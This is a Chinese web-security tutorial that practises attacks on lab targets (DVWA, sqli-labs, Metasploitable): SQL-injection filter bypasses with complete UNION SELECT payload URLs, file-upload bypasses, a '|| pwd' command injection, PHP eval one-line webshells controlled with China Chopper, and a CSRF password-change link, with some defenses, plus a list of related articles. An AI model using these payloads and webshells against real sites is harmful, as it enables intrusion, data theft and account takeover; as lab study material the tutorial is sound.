详解SQL注入--安全(二)

如果此文章有什么错误,或者您有什么建议,欢迎随时联系我,谢谢!
写在前面:在前两天初学SQL注入的基础上,继续在Metasploitable-Linux环境下进行练习。
一、前面学习的SQL注入,那么当然就有防注入。由于web注入危害较大,各种防御技术也层出不穷。

1、程序猿在写代码时会有意识的进行防御设置,或者安全测试来封堵web注入
2、各大安全厂商生产的硬件或者软件WAF产品

黑名单过滤技术

1、过滤sql关键字段
常见的关键字:and、or、union all select、引号、空格等等过滤
还有一些类似的技术不是过滤而是通过转义函数或者剥离非法关键字

绕过方法:

  1. 1、大小写变形(id=-1 UniOn sEleCt 1,2,3……)
  2. 2、编码:hex码、urlencode
  3. 3、注释 ‘/or/'
  4. 4、过滤替换 (and–&&、or–||)
  5. 5、截断

二、文件上传漏洞

我们在上网时经常会使用文件上传的功能,比如上传一个头像图片,上传一个文件,上传一个视频等等,我都知道这是一个正常的功能,但是大家有没有想过文件上传后,服务器是怎么处理或者解析这些文件的呢,如果服务器在处理这些上传文件的时候做的不够安全,就会导致安全事件的发生,比如: 上传web脚本文件让服务器执行

  1. (1)上传木马病毒文件诱导用户或者管理员下载
  2. (2)上传钓鱼文件
  3. (3)上传欺诈文件

文件上传漏洞核心

要使得文件上传攻击能够成功,一般需要满足两个要素:

  1. (1)包含webshell文件能够成功被上传到服务器上
  2. (2) 该文件能够被服务器解析或者我们能访问到该上传文件

实现核心—上传绕过技术

一般而言文件上传遇到的检测技术: +

  1. (1)客户端 javascript 检测 (通常为检测文件扩展名)
  2. (2)服务端 MIME 类型检测 (检测 Content-Type 内容)
  3. (3)服务端目录路径检测 (检测跟 path 参数相关的内容)
  4. (4)服务端文件扩展名检测 (检测跟文件 extension 相关的内容)
  5. (5)服务端文件内容检测 (检测内容是否合法或含有恶意代码)

客户端检测绕过(javascript 检测)

这类检测通常在上传页面里含有专门检测文件上传的 javascript 代码最常见的就是检测扩展名是否合法,这类绕过很简单。
做法:制作webshell文件(比如shell.php)—>修改为合法扩展名(shell.png)—>burp拦截改为(shell.php) —>上传

服务端检测绕过(MIME 类型检测)

该检测是在服务器上进行,主要检查的是content-type类型值(白名单或者黑名单)。当然这个绕过也简单。
做法:制作webshell文件(比如shell.php,Content-Type: text/plain)—>burp拦截改为(sontent-Type: image/gif) —>上传

服务器检测绕过(目录路径检测)

该检测是在服务器上进行,一般就检测路径是否合法,但稍微特殊一点的都没有防御。 比如,shell.php.[\0].png [\0]、123.php0x00.png其中0x00是php、c语言的截断符,就是说服务器在读文件的时候读到shell.php碰到【\0】就截止了当做shell.php执行了。 类似还有post提交文件shell.php%00.png
注:绕过后台检测,就是给他想要的文件后缀名,然后截断真实的后缀

服务端检测绕过(文件扩展名检测)

顾名思义就是检查文件扩展名,一般通过白黑名单防御。

1、黑名单 比如扩展名不能包含 html、php、php3,php4,asp、exe、bat、jsp +文件名大小写绕过用像 AsP,pHp 之类的文件名绕过黑名单检测

  1. (1)名单列表绕过用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类
  2. (2)特殊文件名绕过 比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。
  3. (3)htaccess 文件攻击 配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测
  4. (4)解析调用/漏洞绕过这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞
  5. (5)白名单检测

2、白名单相对来说比黑名单安全一些,但也不见得就绝对安全了

(1)0x00 截断绕过

用像 test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击,目前我只遇到过 asp 的程序有这种漏洞 + 解析调用/漏洞绕过这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞

(2).htaccess 文件攻击

在 PHP manual 中提到了下面一段话 move_uploaded_file section, there is a warning which states ‘If the destination file already exists, it will be overwritten.' 如果 PHP 安全没配置好就可以通过 move_uploaded_file 函数把自己写的.htaccess 文件覆盖掉服务器上的这样就能任意定义解析名单了

服务端检测绕过(文件内容检测)

如果文件内容检测设置得比较严格,那么上传攻击将变得非常困难也可以说它是在代码层检测的最后一道关卡如果它被突破了,就算没有代码层的漏洞也给后面利用应用层的解析漏洞带来了机会。

(1)文件幻数头检查
主要是检测文件内容开始处的文件幻数,比如:要绕过 jpg Value = FF D8 FF E0 00 10 4A 46 49 46。 要绕过 gif 文件幻数检测 Value = 47 49 46 38 39 61 要绕过 png 文件幻数检测 Value = 89 50 4E 47

(2)文件相关信息检测

图像文件相关信息检测常用的就是 getimagesize()函数只需要把文件头部分伪造好就 ok 了,就是在幻数的基础上还加了一些文件信息有点像下面的结构

GIF89a

(...some binary data for image...)
 <?php phpinfo(); ?>
(... skipping the rest of binary data ...)

(3)文件加载检测

这个是最变态的检测了,一般是调用 API 或函数去进行文件加载测试常见的是图像渲染测试,再变态点的甚至是进行二次渲染,对渲染/加载测试的攻击方式是代码注入绕过对二次渲染的攻击方式是攻击文件加载器自身。

三、

1、(1)先将对应网址复制到下方,点击Load URL,然后点击Execute

(2)构造闭合,得到数据库名–dvwa,然后按照之前的套路发现系统报错,报错信息如下

系统自动加入了\符号,是构造的函数出现错误,这时我们应规避这种现象,使系统不为构造函数自动添加特殊符号,对上述这种情况,可以使用hex码将字符串dvwa转换为十六进制(变为0x……),这样将不会在构造函数中使用到单引号符号,此时系统将不再自动为构造函数添加特殊字符,破坏构造函数。

(3)同理,按照之前所使用的SQL语句,爆数据。

2、以Less-25为例

(1)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,2,database()--+	//根据回显构造闭合,爆出database()

(2)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,table_name,column_name from infoorrmation_schema.columns where table_name = table_name aAndnd table_schema = database()--+	//爆出表名table_name、列名column_name

(3)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 3,2,id from emails--+	//爆出数据

小结:首先不断构造闭合输入,观察回显,发现系统过滤了“and”字符串,以及“+”(+ 相当于空格键)

然后我们猜测使用大小写混合的and,或者交叉不连续出现and,或者使用其他字符代替and–如&&(主要目的是为了使用and),又或者使用hex码、urlencode转化的方法;同理,字符串“or”,或者在单词中出现的or(如information)也可以使用上述的方法。关键在于绕过系统的过滤,达到一定的目的

3、以Less-26为例

and字符与Less-25相同的道理,过滤掉的空格可以使用 %20 --空格、或者TAB键的编码、或者换行键的编码

4、以http://192.168.122.130/DVWA-1.9/vulnerabilities/exec/为例,界面如下,是一个可以ping的界面

该界面存在漏洞即可以使用连接符号在ping的同时完成其他动作,当在输入栏输入127.0.0.1 || pwd,出现情况如下

发现界面中出现了当前文件目录,然后我们可以利用此漏洞获取一些想得到的数据
在此提及“一句话木马”

echo '<?php @eval($_POST[123]);?>' > 123.php

[有时为了不让受害人发现,常把其他形式的语句与“一句话木马”连用

 <?php fputs(fopen("345.php","w")),<?php @eval($_POST[1234]);?>' >1234.php

四、结合File Inclusion与File Upload实现攻击

(1)在http://192.168.122.130/DVWA-1.9/security.php下选择DVWA security为Low
然后File Upload上传一个带有一句话木马的.php文件,然后通过已知的目录,将信息添加到中国菜刀,获取所有目录—此时可以实现对文件的篡改、删除、上传等操作(有时可以通过重命名文件名来达到绕过的目的:123.png0x00.php —此处0x00代表命名结束)

使用中国菜刀,进行下图所示的添加—针对 echo ‘<?php @eval($_POST[123]);?>' > 123.php

然后就可以通过中国菜刀获取目录如下:

(2)在http://192.168.122.130/DVWA-1.9/security.php下选择DVWA security为Medium
此时上传.php文件会回显错误,无法上传,所以我们将木马文件格式改为支持上传的格式,png格式的文件中有一句话木马—此处以png格式为例

手动设置浏览器代理

启动BurpLoader,进行抓包改名处理!

然后Action->Send to Repeater,然后在Repeater中点击Go,观察右边窗口,发现文件已经上传,打开中国菜刀,按照之前的步骤访问即可。

(3)在http://192.168.122.130/DVWA-1.9/security.php下选择DVWA security为High

首先看到图片已经上传,那么上传的图片一定是已经经过处理的(加入了一句话木马),就是打开图片编码工具winhex,在编码工具中加入一句话木马,重新生成一个新的编码后的图片。

当然也可以使用cmd命令:copy 1.png/b+123.php /a TCP.png。此处1.png为正常图片,123.php为一句话木马,将他们重新合成新的图片取名为TCP.png,然后上传,即可成功(上面使用的是cmd)。

图片上传完成后,不能像Medium等级那样进行抓包改名处理。应该是web服务器端还有相应的安全性处理。
此时需要我们手动触发(当然也可以等待被攻击系统管理员点击图片触发)。触发之后我们就可以使用同样的方式,打开中国菜刀,进行目录的获取。

五、对于一些变态等级的处理思路:

compare,观察上传前与上传后哪些地方没有变(通过二异性),然后对上传数据做出一定的修改,从而达到一定目的。
一些其他的攻击方法:

  1. 1、以http://192.168.122.130/DVWA-1.9/vulnerabilities/upload/为例,在图片中写入触发指令,当管理员敲某命令时执行该图片,执行图片中包含的代码,即预埋一个常用的触发指令!
  2. 2、找到要攻击的系统默认存储临时文件的具体位置,然后改变文件的内容(比如说在文件中加入包含一句话木马的可执行文件等),达到预期的效果
  3. 3、对于会为上传文件自动修改文件名的系统,会使我们无法执行我们上传的非可执行文件,此时我们可以这样:因为设备处理文件是有一定限度的,可以每秒钟高频传输同一文件,使其后台来不及修改其中一两个文件的文件名,使之出现文件名不会被修改的情况,然后我们如果可以访问到该文件,执行即可进行攻击!

六、CSRF:Cross site Request Forgery跨栈请求伪造(利用cookie值)

构造一个URL,诱导受害人点击链接,从而利用受害人的cookie来实现受害人在自己不知道的情况下修改密码

http://192.168.122.130/DVWA-1.9/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

举例:比如说黑客使用自己的账号密码登录某网站,然后点到修改密码界面,构造一个修改密码的URL,当黑客想进行攻击时就诱导某受害人(该受害人之前使用浏览器登录网站时,浏览器中存有cookie)点击之前构造好的URL,然后在受害人不知道的情况下修改密码,此密码黑客知道,此时若攻击成功,黑客就能使用之前构造URL时构造的密码以受害人的身份登录网站,进行一系列操作!

当下的一些防御手段:

1、可以使用验证码进行防御

2、需要原始密码才能修改密码的网站

3、防御手法:no-referrer-when-downgrade

从一个网站链接到另外一个网站会产生新的http请求,referrer是http请求中表示来源的字段。
no-referrer-when-downgrade表示从https协议降为http协议时不发送referrer给跳转网站的服务器

4、防伪机制token,不同于cookie,可以堵住绝大多数CSRF攻击(人手一个防伪码,别人猜不出来,如果自己要改密码,必须自己使用自己的token才能成功)—token需要无规律、最好是加密。

以上所述是小编给大家介绍的SQL注入安全详解整合,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对我们网站的支持!

(0)

相关推荐

  • PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等)

    浅谈Php安全和防Sql注入,防止Xss攻击,防盗链,防CSRF 前言: 首先,笔者不是web安全的专家,所以这不是web安全方面专家级文章,而是学习笔记.细心总结文章,里面有些是我们phper不易发现或者说不重视的东西.所以笔者写下来方便以后查阅.在大公司肯定有专门的web安全测试员,安全方面不是phper考虑的范围.但是作为一个phper对于安全知识是:"知道有这么一回事,编程时自然有所注意". 目录: 1.php一些安全配置(1)关闭php提示错误功能(2)关闭一些"坏

  • Python操作sqlite3快速、安全插入数据(防注入)的实例

    table通过使用下面语句创建: 复制代码 代码如下: create table userinfo(name text, email text) 更快地插入数据 在此用time.clock()来计时,看看以下三种方法的速度. 复制代码 代码如下: import sqlite3import time def create_tables(dbname):      conn = sqlite3.connect(dbname)    cursor = conn.cursor()    cursor.e

  • PHP的SQL注入实现(测试代码安全不错)

    SQL注入的重点就是构造SQL语句,只有灵活的运用SQL 语句才能构造出牛比的注入字符串.学完之后写了点笔记,已备随时使用.希望你在看下面内容时先了 解SQL的基本原理.笔记中的代码来自网络. ===基础部分=== 本表查询: http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 http://127.0.0.1/injection/user.php?username=angel' and LEFT

  • 浅析MySQL的注入安全问题

    如果把用户输入到一个网页,将其插入到MySQL数据库,有机会离开了发生安全问题被称为SQL注入敞开.这一课将教如何帮助防止这种情况的发生,并帮助保护脚本和MySQL语句. 注入通常发生在处理一个用户输入,如他们的名字,而不是一个名字,他们给一个会在不知不觉中你的数据库上运行的MySQL语句. 永远不要信任用户提供的数据,只能验证后处理这些数据,作为一项规则,这是通过模式匹配.在下面的例子中,用户名被限制为字母数字字符加下划线的长度在8到20个字符之间 - 根据需要修改这些规则. if (preg

  • 详解SQL注入--安全(二)

    如果此文章有什么错误,或者您有什么建议,欢迎随时联系我,谢谢! 写在前面:在前两天初学SQL注入的基础上,继续在Metasploitable-Linux环境下进行练习. 一.前面学习的SQL注入,那么当然就有防注入.由于web注入危害较大,各种防御技术也层出不穷. 1.程序猿在写代码时会有意识的进行防御设置,或者安全测试来封堵web注入 2.各大安全厂商生产的硬件或者软件WAF产品 黑名单过滤技术 1.过滤sql关键字段 常见的关键字:and.or.union all select.引号.空格等

  • Mybatisplus详解如何注入自定义的SQL

    目录 SQL 注入器 第一步重写getMethodList 第二步定义自己的SQL方法类 第三步定义添加了自定义方法的Mapper类 测试调用 遗留问题 SQL 注入器 官方文档提供了一个小案例 自定义 Mapper 示例 解读:DefaultSqlInjector就是一个注册类,其中注册了一系列 mybatis-plus 内置的 update,insert,select SQL 语句方法, 并且对表主键是否存在进行了判定:如果设置了主键,那么会注册 DeleteById 等方法,没有则不注册.

  • 详解SQL报错盲注

    目录 一.SQL报错函数详解 二.SQL报错盲注payload构造 1.updatexml语句构造思路 2.查询当前数据库 3.查询表名 4.查询列名 5.查询字段名 6.查询数据 今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL报错盲注详解. 免责声明:本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!再次强调:严禁对未授权设备进行渗透测试! 一.SQL报错函数详解 updatexml();floor();extractvalue();等函

  • 详解SQL Server数据库状态和文件状态

    数据库状态 (database states) 查询数据库的当前状态 : 1.查询所有数据库的状态 ,通过sys.databases目录视图的state_desc列 user master go select state_desc ,[name] from sys.databases go 2.查询指定数据库的状态,通过DATABASEPROPERTYEX函数的Status属性 select DATABASEPROPERTYEX('demoData','status') go 状态: ONLIN

  • Javascript 实现计算器时间功能详解及实例(二)

    Javascript 计算器: 系列文章: JS 实现计算器详解及实例代码(一) Javascript 实现计算器时间功能详解及实例(二) Javascript计算器 -> 添加时间在屏显区左上角添加时间显示 效果图如下: 代码 初始化 // 计算器初始化 Calculator.prototype.init = function () { this.addTdClick(); // 时间显示 this.showDate(); }; 时间显示 // 在屏显区左上角显示时间日期 Calculator

  • PHP与SQL注入攻击[二]

    PHP与SQL注入攻击[二] Magic Quotes 上文提到,SQL注入主要是提交不安全的数据给数据库来达到攻击目的.为了防止SQL注 入攻击,PHP自带一个功能可以对输入的字符串进行处理,可以在较底层对输入进行安全 上的初步处理,也即Magic Quotes.(php.ini magic_quotes_gpc).如果magic_quotes_gpc 选项启用,那么输入的字符串中的单引号,双引号和其它一些字符前将会被自动加上反斜杠\. 但Magic Quotes并不是一个很通用的解决方案,没

  • 详解Sql基础语法

    1.创建数据库 create  database 数据库名称 2.删除数据库 drop database 数据库名称 3.备份sql server 创建备份数据的device use master exec sp_addumpdevice '名称','新的名称','路径' 开始备份 backup database pubs to 新的名称 4.创建表 create table 表名(列名1 类型,列名2 类型) 5.根据已有表创建新表 create table 新表名称 like 旧表名称 cr

  • 详解SQL中Group By的使用教程

    1.概述 "Group By"从字面意义上理解就是根据"By"指定的规则对数据进行分组,所谓的分组就是将一个"数据集"划分成若干个"小区域",然后针对若干个"小区域"进行数据处理. 2.原始表 3.简单Group By示例1 select 类别, sum(数量) as 数量之和from Agroup by 类别 返回结果如下表,实际上就是分类汇总. 4.Group By 和 Order By示例2 sele

  • 详解SQL游标的用法

    类型: 1.普通游标   只有NEXT操作 2.滚动游标 有多种操作 1.普通游标 DECLARE @username varchar(20),@UserId varchar(100) DECLARE cursor_name CURSOR FOR --定义游标 SELECT TOP 10 UserId,UserName FROM UserInfo ORDER BY UserId DESC OPEN cursor_name --打开游标 FETCH NEXT FROM cursor_name IN

  • 详解SQL EXISTS 运算符

    EXISTS 运算符 EXISTS 运算符用于判断查询子句是否有记录,如果有一条或多条记录存在返回 True,否则返回 False. SQL EXISTS 语法 SELECT column_name(s) FROM table_name WHERE EXISTS (SELECT column_name FROM table_name WHERE condition); 演示数据库 在本教程中,我们将使用 RUNOOB 样本数据库. 下面是选自 "Websites" 表的数据: +---

随机推荐